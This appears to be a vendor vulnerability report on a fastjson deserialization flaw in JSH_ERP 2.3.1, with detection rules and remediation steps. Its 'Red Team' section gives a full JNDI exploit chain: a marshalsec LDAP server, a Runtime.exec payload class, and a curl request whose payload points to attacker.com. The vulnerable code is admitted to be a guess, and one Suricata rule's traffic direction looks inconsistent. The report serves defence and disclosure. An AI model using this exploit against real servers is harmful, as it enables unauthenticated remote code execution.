CVE-2025-51745

Executive Summary

CVE-2025-51745 is a critical deserialization vulnerability in the JSH_ERP application by Jishenghua, version 2.3.1. The /role/addcan endpoint is vulnerable to fastjson deserialization attacks, allowing an unauthenticated attacker to execute arbitrary code on the server. This vulnerability is publicly known but currently unpatched, posing a significant risk to all deployments of this version. The attack vector is network-based, requires no authentication, and can lead to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Java application vulnerability in the JSH_ERP software.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, based on the nature of the vulnerability (unauthenticated remote code execution via deserialization), the actual severity is critical. A typical CVSS vector for such a vulnerability would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the /role/addcan endpoint of JSH_ERP 2.3.1. This endpoint uses the fastjson library to deserialize JSON data from HTTP requests. Fastjson is a popular JSON library for Java, but it has known deserialization vulnerabilities when not properly configured.

The attack works by sending a specially crafted JSON payload to the /role/addcan endpoint. The payload contains a @type field that specifies a Java class to be instantiated. By choosing a class that performs dangerous operations during deserialization (a "gadget chain"), an attacker can achieve arbitrary code execution.

Common gadget chains for fastjson include:

• com.sun.rowset.JdbcRowSetImpl – Can be used for JNDI injection.
• org.apache.tomcat.dbcp.dbcp2.BasicDataSource – Can be used for command execution.

The attacker does not need to be authenticated, making this a high-severity, easily exploitable vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (JSH_ERP 2.3.1):

The /role/addcan endpoint likely uses fastjson's JSON.parseObject() or JSON.parse() method without a safe ParserConfig or TypeFilter. Example vulnerable code:

@RequestMapping(value = "/role/addcan", method = RequestMethod.POST)
public String addCan(@RequestBody String jsonData) {
    JSONObject obj = JSON.parseObject(jsonData); // Vulnerable
    // Process obj...
}

Patched Code (Hypothetical):

A patch would involve using a safe deserialization approach, such as:

@RequestMapping(value = "/role/addcan", method = RequestMethod.POST)
public String addCan(@RequestBody String jsonData) {
    ParserConfig config = new ParserConfig();
    config.setAutoTypeSupport(false); // Disable auto-type
    JSONObject obj = JSON.parseObject(jsonData, config); // Safe
    // Process obj...
}

Alternatively, using a whitelist of allowed classes or switching to a safer JSON library like Jackson with proper configuration.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running JSH_ERP 2.3.1
• Network access to the /role/addcan endpoint
• A Java environment to host a malicious RMI/LDAP server (for JNDI injection)

Exploit Steps:

1. Set up a malicious JNDI server (e.g., using marshalsec):

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
   

2. Create a malicious Java class (Exploit.java):

   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("calc.exe"); // Or reverse shell
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   

   Compile and host it on a web server.

3. Send the exploit payload to the target:

   curl -X POST http://target.com/role/addcan \
   -H "Content-Type: application/json" \
   -d '{
       "@type": "com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName": "ldap://attacker.com:1389/Exploit",
       "autoCommit": true
   }'
   

Expected Result: The target executes the malicious class, leading to code execution.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual JSON payloads containing @type fields.
• Alert on connections to known malicious JNDI/LDAP servers.
• Use WAF rules to block fastjson deserialization attempts.

Defense:

• Immediately upgrade to a patched version if available.
• If no patch, implement a WAF rule to block requests with @type in JSON body.
• Disable fastjson auto-type support in the application configuration.
• Restrict outbound network access from the application server to prevent JNDI callback.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /role/addcan with JSON containing @type field.
• Outbound connections to LDAP (port 1389) or RMI (port 1099) servers.
• DNS queries to known malicious domains.

File System IOCs:

• Unexpected .class files in temporary directories.
• Modified system binaries or scripts.
• New scheduled tasks or cron jobs.

Process IOCs:

• Unusual Java processes with network connections.
• Processes spawned by the Java application (e.g., cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule fastjson_deserialization_attack {
    meta:
        description = "Detects fastjson deserialization attack payloads in HTTP requests"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51745"
    strings:
        $json_type = /"@type"\s*:\s*"[^"]*"/
        $jndi = /"dataSourceName"\s*:\s*"(ldap|rmi|dns):\/\//
        $jdbc = /"com\.sun\.rowset\.JdbcRowSetImpl"/
        $tomcat = /"org\.apache\.tomcat\.dbcp"/
    condition:
        $json_type and ($jndi or $jdbc or $tomcat)
}

Sigma Rule

title: Fastjson Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with fastjson deserialization payloads
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/role/addcan'
        cs-content-type: 'application/json'
        cs-body|contains: '@type'
    condition: selection
falsepositives:
    - Legitimate use of @type in non-malicious contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51745 Fastjson Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/role/addcan"; http_uri; content:"application/json"; http_content_type; content:"@type"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Apply a WAF rule to block requests containing @type in JSON body.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of JSH_ERP when available.
• Disable fastjson auto-type support in the application configuration.
• Implement input validation and use a safe deserialization library.

Workaround:

• If patching is not possible, remove or disable the /role/addcan endpoint.
• Restrict network access to the application server.

Report generated by Valters IT DevSecOps & CTI Division